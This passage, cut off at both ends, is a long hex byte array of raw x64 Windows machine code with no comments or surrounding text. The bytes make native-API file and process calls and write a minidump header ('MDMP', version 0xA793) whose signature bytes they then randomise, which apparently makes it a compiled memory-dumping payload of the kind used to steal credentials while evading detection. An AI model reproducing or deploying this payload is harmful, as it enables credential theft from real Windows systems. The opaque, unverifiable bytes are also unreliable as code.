x00,0x00,0xEB,0x20,0x48,0x8B,0x45,0x10,0x48,0x83,0xC0,0x02,0x0F,0xB6,0x00,0x88,0x45,0xFF,0x80,0x7D,0xFF,0x5C,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x10,0x5D,0xC3,0x55,0x48,0x81,0xEC,0x30,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0xC0,0x01,0x00,0x00,0x48,0x89,0x95,0xC8,0x01,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x8D,0x15,0x05,0x88,0x00,0x00,0x48,0x89,0xC1,0xE8,0x55,0x68,0x00,0x00,0x48,0x8B,0x85,0xC8,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1A,0xFF,0xFF,0xFF,0x85,0xC0,0x75,0x21,0xE8,0xAF,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x19,0x68,0x00,0x00,0x48,0x8B,0x95,0xC8,0x01,0x00,0x00,0x48,0x8D,0x45,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x98,0x67,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0x48,0x8D,0x55,0xA0,0x41,0xB8,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0xE3,0x67,0x00,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x48,0x8B,0x40,0x08,0xBA,0x04,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x3B,0x65,0x00,0x00,0x89,0xC2,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x10,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x8D,0x14,0x00,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x10,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x0F,0xB7,0x00,0x8D,0x50,0x02,0x48,0x8B,0x85,0xC0,0x01,0x00,0x00,0x66,0x89,0x50,0x02,0x90,0x48,0x81,0xC4,0x30,0x02,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x60,0x00,0x00,0x00,0x8B,0x45,0xEC,0x65,0x48,0x8B,0x00,0x48,0x89,0x45,0xE0,0x48,0x8B,0x45,0xE0,0x48,0x89,0x45,0xF8,0x48,0x8B,0x45,0xF8,0x48,0x83,0xC0,0x20,0x48,0x8B,0x00,0x48,0x89,0x45,0xF0,0x48,0x8B,0x45,0xF0,0x48,0x8B,0x40,0x40,0x48,0x83,0xC4,0x20,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xC0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x8B,0x45,0x20,0x48,0x89,0x45,0xA8,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x40,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x4C,0x8D,0x45,0xB0,0x48,0x8D,0x4D,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x05,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x55,0xA8,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x16,0x01,0x12,0x00,0x48,0x89,0xC1,0xE8,0x0F,0x1B,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x3A,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xFC,0x33,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x7E,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x71,0x48,0x8B,0x45,0xF0,0x48,0xC7,0x44,0x24,0x40,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x38,0x00,0x00,0x00,0x00,0x8B,0x55,0x20,0x89,0x54,0x24,0x30,0x48,0x8B,0x55,0x18,0x48,0x89,0x54,0x24,0x28,0x48,0x8D,0x55,0xB0,0x48,0x89,0x54,0x24,0x20,0x41,0xB9,0x00,0x00,0x00,0x00,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xF8,0x1A,0x00,0x00,0x89,0x45,0xFC,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x28,0x18,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xC0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x81,0xEC,0xB0,0x00,0x00,0x00,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xC0,0x30,0x00,0x00,0x00,0x48,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xD8,0x40,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xD0,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xB0,0x48,0x8D,0x55,0xC0,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x03,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x49,0x89,0xC9,0x49,0x89,0xD0,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0xBE,0x19,0x00,0x00,0x89,0x45,0xFC,0x81,0x7D,0xFC,0x3A,0x00,0x00,0xC0,0x74,0x12,0x81,0x7D,0xFC,0x33,0x00,0x00,0xC0,0x74,0x09,0x81,0x7D,0xFC,0x3B,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x26,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x19,0x48,0x8B,0x45,0xF0,0x48,0x89,0xC1,0xE8,0x19,0x17,0x00,0x00,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xB0,0x00,0x00,0x00,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0x88,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x20,0x02,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0xC0,0x01,0x00,0x00,0x0F,0x11,0x85,0xD0,0x01,0x00,0x00,0x0F,0x11,0x85,0xE0,0x01,0x00,0x00,0x48,0x8D,0x55,0xB0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xA0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xA8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xB0,0x48,0x89,0x45,0xA8,0x48,0x83,0xBD,0x20,0x02,0x00,0x00,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x7D,0x48,0x8B,0x95,0x20,0x02,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0xC1,0xE8,0xD1,0xFB,0xFF,0xFF,0xC7,0x85,0xC0,0x01,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0xC8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0xD8,0x01,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xA0,0x48,0x89,0x85,0xD0,0x01,0x00,0x00,0x48,0xC7,0x85,0xE0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xE8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x85,0xC0,0x01,0x00,0x00,0x48,0x89,0xC1,0xE8,0x01,0x1B,0x00,0x00,0x89,0x85,0xFC,0x01,0x00,0x00,0x83,0xBD,0xFC,0x01,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0x88,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x02,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x10,0x02,0x00,0x00,0x0F,0x11,0x85,0x20,0x02,0x00,0x00,0x0F,0x11,0x85,0x30,0x02,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x48,0x89,0x45,0xE8,0x48,0x83,0xBD,0x70,0x02,0x00,0x00,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x13,0x01,0x00,0x00,0x48,0x8B,0x95,0x70,0x02,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0xB8,0xFA,0xFF,0xFF,0xC7,0x85,0x10,0x02,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x28,0x02,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x85,0x20,0x02,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x8D,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0x10,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0x2B,0x17,0x00,0x00,0x89,0x85,0x4C,0x02,0x00,0x00,0x81,0xBD,0x4C,0x02,0x00,0x00,0x43,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x42,0x81,0xBD,0x4C,0x02,0x00,0x00,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x83,0xBD,0x4C,0x02,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0x79,0x14,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xD8,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x57,0x48,0x81,0xEC,0xD8,0x02,0x00,0x00,0x48,0x8D,0xAC,0x24,0x80,0x00,0x00,0x00,0x48,0x89,0x8D,0x70,0x02,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x85,0x10,0x02,0x00,0x00,0x0F,0x11,0x85,0x20,0x02,0x00,0x00,0x0F,0x11,0x85,0x30,0x02,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0xF8,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0x8D,0x55,0xF0,0xB8,0x00,0x00,0x00,0x00,0xB9,0x41,0x00,0x00,0x00,0x48,0x89,0xD7,0xF3,0x48,0xAB,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xF0,0x48,0x89,0x45,0xE8,0x48,0x8B,0x95,0x70,0x02,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0xC1,0xE8,0x1D,0xF9,0xFF,0xFF,0xC7,0x85,0x10,0x02,0x00,0x00,0x30,0x00,0x00,0x00,0x48,0xC7,0x85,0x18,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xC7,0x85,0x28,0x02,0x00,0x00,0x40,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x48,0x89,0x85,0x20,0x02,0x00,0x00,0x48,0xC7,0x85,0x30,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x48,0xC7,0x85,0x38,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0x4C,0x8D,0x85,0x00,0x02,0x00,0x00,0x48,0x8D,0x8D,0x10,0x02,0x00,0x00,0x48,0x8D,0x85,0x40,0x02,0x00,0x00,0xC7,0x44,0x24,0x50,0x00,0x00,0x00,0x00,0x48,0xC7,0x44,0x24,0x48,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x40,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x38,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x30,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x80,0x00,0x00,0x00,0x48,0x8D,0x95,0xF8,0x01,0x00,0x00,0x48,0x89,0x54,0x24,0x20,0x4D,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x89,0x00,0x12,0x00,0x48,0x89,0xC1,0xE8,0x90,0x15,0x00,0x00,0x89,0x85,0x4C,0x02,0x00,0x00,0x81,0xBD,0x4C,0x02,0x00,0x00,0x35,0x00,0x00,0xC0,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x42,0x81,0xBD,0x4C,0x02,0x00,0x00,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x2F,0x83,0xBD,0x4C,0x02,0x00,0x00,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x1F,0x48,0x8B,0x85,0x40,0x02,0x00,0x00,0x48,0x89,0xC1,0xE8,0xDE,0x12,0x00,0x00,0x48,0xC7,0x85,0x40,0x02,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x48,0x81,0xC4,0xD8,0x02,0x00,0x00,0x5F,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x00,0x00,0x00,0x00,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0xE0,0x41,0xB9,0x10,0x00,0x00,0x00,0x49,0x89,0xC0,0xBA,0x28,0x00,0x00,0x00,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xF4,0x17,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x48,0x83,0x7D,0x10,0x00,0x0F,0x84,0xAD,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xEB,0x0F,0x83,0x45,0xF4,0x01,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x48,0x83,0x7D,0xF8,0x00,0x75,0xEA,0x8B,0x45,0xF4,0x83,0xE8,0x01,0x89,0x45,0xF0,0xEB,0x73,0x48,0x8B,0x45,0x10,0x48,0x89,0x45,0xF8,0x8B,0x45,0xF0,0x89,0x45,0xEC,0xEB,0x0B,0x48,0x8B,0x45,0xF8,0x48,0x8B,0x00,0x48,0x89,0x45,0xF8,0x8B,0x45,0xEC,0x8D,0x50,0xFF,0x89,0x55,0xEC,0x85,0xC0,0x75,0xE8,0x48,0x83,0x7D,0xF8,0x00,0x74,0x40,0x8B,0x55,0x18,0x48,0x8B,0x45,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x55,0x5F,0x00,0x00,0x48,0x8B,0x05,0xEE,0xF0,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF8,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xE6,0xF0,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF8,0x00,0x00,0x00,0x00,0x83,0x6D,0xF0,0x01,0x83,0x7D,0xF0,0x00,0x79,0x87,0xEB,0x01,0x90,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x40,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x48,0x8B,0x55,0x10,0x48,0x8D,0x45,0xF0,0xC7,0x44,0x24,0x28,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x00,0x10,0x00,0x00,0x49,0x89,0xD1,0x41,0xB8,0x00,0x00,0x00,0x00,0x48,0x89,0xC2,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0x04,0x13,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xF0,0x48,0x83,0xC4,0x40,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x90,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x48,0x8B,0x45,0x10,0x48,0x85,0xC0,0x74,0x4B,0x48,0x8B,0x45,0x18,0x48,0x85,0xC0,0x74,0x42,0x48,0x8B,0x55,0x18,0x48,0x8B,0x45,0x10,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x72,0x5E,0x00,0x00,0x48,0xC7,0x45,0x18,0x00,0x00,0x00,0x00,0x48,0x8D,0x45,0x18,0x41,0xB9,0x00,0x80,0x00,0x00,0x49,0x89,0xC0,0x48,0x8D,0x55,0x10,0x48,0xC7,0xC1,0xFF,0xFF,0xFF,0xFF,0xE8,0xD3,0x12,0x00,0x00,0x89,0x45,0xFC,0xEB,0x01,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x89,0x55,0x18,0x4C,0x89,0x45,0x20,0x48,0x8D,0x45,0xF8,0x48,0x89,0xC1,0xE8,0xB1,0xF1,0xFF,0xFF,0x89,0xC1,0xE8,0x32,0x5E,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x00,0x4D,0x44,0x4D,0x50,0x48,0x8B,0x45,0x18,0x66,0xC7,0x00,0x93,0xA7,0x48,0x8B,0x45,0x20,0x66,0xC7,0x00,0x00,0x00,0xE9,0xEF,0x00,0x00,0x00,0x48,0x8B,0x45,0x10,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0xF2,0x5D,0x00,0x00,0xC1,0xE0,0x11,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0xE8,0xDA,0x5D,0x00,0x00,0xC1,0xE0,0x02,0x25,0xFC,0xFF,0x01,0x00,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0xE8,0xBD,0x5D,0x00,0x00,0x83,0xE0,0x03,0x89,0xC2,0x48,0x8B,0x45,0x10,0x8B,0x00,0x09,0xC2,0x48,0x8B,0x45,0x10,0x89,0x10,0x48,0x8B,0x45,0x18,0x66,0xC7,0x00,0x00,0x00,0xE8,0x9C,0x5D,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x18,0x66,0x89,0x10,0xE8,0x77,0x5D,0x00,0x00,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x18,0x66,0x89,0x10,0x48,0x8B,0x45,0x20,0x66,0xC7,0x00,0x00,0x00,0xE8,0x50,0x5D,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x20,0x66,0x89,0x10,0xE8,0x2B,0x5D,0x00,0x00,0x0F,0xB6,0xD0,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x48,0x8B,0x45,0x20,0x66,0x89,0x10,0x48,0x8B,0x45,0x10,0x8B,0x00,0x3D,0x4D,0x44,0x4D,0x50,0x0F,0x84,0x00,0xFF,0xFF,0xFF,0x48,0x8B,0x45,0x18,0x0F,0xB7,0x00,0x66,0x3D,0x93,0xA7,0x0F,0x84,0xEF,0xFE,0xFF,0xFF,0x48,0x8B,0x45,0x20,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x0F,0x84,0xDF,0xFE,0xFF,0xFF,0x90,0x90,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x30,0x48,0x89,0x4D,0x10,0x48,0x8B,0x45,0x10,0x41,0xB8,0x00,0x00,0x00,0x00,0xBA,0x01,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x9A,0x13,0x00,0x00,0x89,0x45,0xFC,0x83,0x7D,0xFC,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x48,0x83,0xC4,0x30,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x89,0x4D,0x10,0x89,0x55,0x18,0x44,0x89,0x45,0x20,0x90,0x5D,0xC3,0x55,0x53,0x48,0x83,0xEC,0x58,0x48,0x8D,0x6C,0x24,0x50,0x48,0x89,0x4D,0x20,0x48,0x89,0x55,0x28,0x4C,0x89,0x45,0x30,0xC7,0x45,0xE8,0x00,0x02,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xFC,0x8B,0x45,0xE8,0x89,0x45,0xFC,0x8B,0x45,0xE8,0x89,0xC3,0x48,0x8B,0x05,0xEA,0xED,0x00,0x00,0xFF,0xD0,0x49,0x89,0xD8,0xBA,0x08,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0xDE,0xED,0x00,0x00,0xFF,0xD0,0x48,0x89,0x45,0xF0,0x48,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA5,0x00,0x00,0x00,0x44,0x8B,0x45,0xE8,0x48,0x8B,0x4D,0xF0,0x48,0x8B,0x45,0x20,0x48,0x8D,0x55,0xE8,0x48,0x89,0x54,0x24,0x20,0x45,0x89,0xC1,0x49,0x89,0xC8,0xBA,0x1B,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0x1E,0x0F,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x1B,0x48,0x8B,0x45,0x28,0x48,0x8B,0x55,0xF0,0x48,0x89,0x10,0x8B,0x55,0xE8,0x48,0x8B,0x45,0x30,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x59,0x48,0x83,0x7D,0xF0,0x00,0x74,0x40,0x8B,0x55,0xFC,0x48,0x8B,0x45,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0xE8,0xB5,0x5B,0x00,0x00,0x48,0x8B,0x05,0x4E,0xED,0x00,0x00,0xFF,0xD0,0x48,0x8B,0x55,0xF0,0x49,0x89,0xD0,0xBA,0x00,0x00,0x00,0x00,0x48,0x89,0xC1,0x48,0x8B,0x05,0x46,0xED,0x00,0x00,0xFF,0xD0,0x48,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x23,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x48,0x83,0xC4,0x58,0x5B,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x48,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x5A,0x0E,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x04,0x48,0x8B,0x45,0xE0,0x48,0x83,0xC4,0x70,0x5D,0xC3,0x55,0x48,0x89,0xE5,0x48,0x83,0xEC,0x70,0x48,0x89,0x4D,0x10,0x66,0x0F,0xEF,0xC0,0x0F,0x11,0x45,0xC0,0x0F,0x11,0x45,0xD0,0x0F,0x11,0x45,0xE0,0xC7,0x45,0xFC,0x00,0x00,0x00,0x00,0x48,0x8D,0x4D,0xC0,0x8B,0x55,0xFC,0x48,0x8B,0x45,0x10,0x48,0xC7,0x44,0x24,0x20,0x00,0x00,0x00,0x00,0x41,0xB9,0x30,0x00,0x00,0x00,0x49,0x89,0xC8,0x48,0x89,0xC1,0xE8,0x70,0x1D,0x00,0x00,0x89,0x45,0xF8,0x83,0x7D,0xF8,0x00,0x79,0x07,0xB8,